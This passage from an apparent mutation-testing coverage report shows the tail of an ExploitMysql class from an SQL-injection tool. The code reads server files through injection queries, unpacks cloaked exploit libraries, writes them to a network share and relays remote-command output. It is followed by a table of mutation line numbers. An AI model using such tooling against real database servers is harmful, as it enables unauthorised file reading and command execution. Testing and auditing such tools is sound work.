this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result)); |
| 453 |
1
1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::runRceCmd → NO_COVERAGE |
return result; |
| 454 | } | |
| 455 | ||
| 456 | public String getRead(String pathFile) throws AbstractSlidingException { | |
| 457 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege"); | |
| 458 |
1
1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getRead → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run(new Input( |
| 459 | this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace( | |
| 460 | EngineYaml.FILEPATH_HEX, | |
| 461 | Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8)) | |
| 462 | ), | |
| 463 | new String[]{ StringUtils.EMPTY }, | |
| 464 | false, | |
| 465 | 1, | |
| 466 | MockElement.MOCK, | |
| 467 | ResourceAccess.FILE_READ | |
| 468 | )); | |
| 469 | } | |
| 470 | ||
| 471 | private static List<String> toHexChunks(String filename) throws JSqlException { | |
| 472 | try { | |
| 473 | byte[] fileData = ExploitMysql.uncloak(filename); | |
| 474 |
1
1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitMysql::toHexChunks → NO_COVERAGE |
return StringUtil.toHexChunks(fileData); |
| 475 | } catch (IOException e) { | |
| 476 | throw new JSqlException(e); | |
| 477 | } | |
| 478 | } | |
| 479 | ||
| 480 | private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException { | |
| 481 | try { | |
| 482 | byte[] fileData = ExploitMysql.uncloak(nameLibrary); | |
| 483 | Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary); | |
| 484 | try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) { | |
| 485 |
1
1. copyLibraryToShare : removed call to java/io/FileOutputStream::write → NO_COVERAGE |
stream.write(fileData); |
| 486 | } | |
| 487 | } catch (IOException e) { | |
| 488 | throw new JSqlException(e); | |
| 489 | } | |
| 490 | } | |
| 491 | ||
| 492 | private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException { | |
| 493 | Path path = Paths.get(pathFile); | |
| 494 | try { | |
| 495 | Files.write(path, bodyExploit.getBytes()); | |
| 496 | } catch (IOException e) { | |
| 497 | throw new JSqlException(e); | |
| 498 | } | |
| 499 | } | |
| 500 | ||
| 501 | private static byte[] uncloak(String nameLibrary) throws IOException { | |
| 502 | byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar | |
| 503 | ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak") | |
| 504 | ).readAllBytes(); | |
| 505 | fileData = StringUtil.uncloak(fileData); | |
| 506 |
1
1. uncloak : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::uncloak → NO_COVERAGE |
return fileData; |
| 507 | } | |
| 508 | ||
| 509 | public ModelYamlMysql getModelYaml() { | |
| 510 |
1
1. getModelYaml : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::getModelYaml → NO_COVERAGE |
return this.modelYaml; |
| 511 | } | |
| 512 | } | |
Mutations | ||
| 46 |
1.1 2.2 |
|
| 65 |
1.1 |
|
| 66 |
1.1 |
|
| 68 |
1.1 |
|
| 74 |
1.1 2.2 |
|
| 75 |
1.1 |
|
| 76 |
1.1 |
|
| 81 |
1.1 |
|
| 85 |
1.1 |
|
| 89 |
1.1 |
|
| 92 |
1.1 |
|
| 99 |
1.1 |
|
| 106 |
1.1 |
|
| 110 |
1.1 |
|
| 128 |
1.1 |
|
| 129 |
1.1 |
|
| 142 |
1.1 2.2 |
|
| 148 |
1.1 |
|
| 151 |
1.1 |
|
| 152 |
1.1 |
|
| 160 |
1.1 2.2 |
|
| 169 |
1.1 2.2 3.3 |
|
| 171 |
1.1 |
|
| 175 |
1.1 |
|
| 180 |
1.1 |
|
| 182 |
1.1 |
|
| 186 |
1.1 |
|
| 192 |
1.1 |
|
| 196 |
1.1 |
|
| 198 |
1.1 |
|
| 205 |
1.1 |
|
| 209 |
1.1 |
|
| 213 |
1.1 |
|
| 215 |
1.1 |
|
| 218 |
1.1 |
|
| 226 |
1.1 2.2 |
|
| 227 |
1.1 |
|
| 238 |
1.1 2.2 3.3 |
|
| 240 |
1.1 |
|
| 247 |
1.1 |
|
| 250 |
1.1 2.2 |
|
| 252 |
1.1 |
|
| 253 |
1.1 |
|
| 255 |
1.1 |
|
| 257 |
1.1 |
|
| 271 |
1.1 |
|
| 274 |
1.1 2.2 |
|
| 279 |
1.1 |
|
| 287 |
1.1 |
|
| 290 |
1.1 2.2 |
|
| 294 |
1.1 |
|
| 303 |
1.1 |
|
| 307 |
1.1 |
|
| 329 |
1.1 |
|
| 332 |
1.1 |
|
| 341 |
1.1 |
|
| 345 |
1.1 |
|
| 351 |
1.1 2.2 |
|
| 361 |
1.1 |
|
| 369 |
1.1 |
|
| 374 |
1.1 |
|
| 387 |
1.1 |
|
| 398 |
1.1 |
|
| 404 |
1.1 |
|
| 415 |
1.1 |
|
| 417 |
1.1 |
|
| 421 |
1.1 |
|
| 424 |
1.1 |
|
| 429 |
1.1 |
|
| 452 |
1.1 |
|
| 453 |
1.1 |
|
| 458 |
1.1 |
|
| 474 |
1.1 |
|
| 485 |
1.1 |
|
| 506 |
1.1 |
|
| 510 |
1.1 |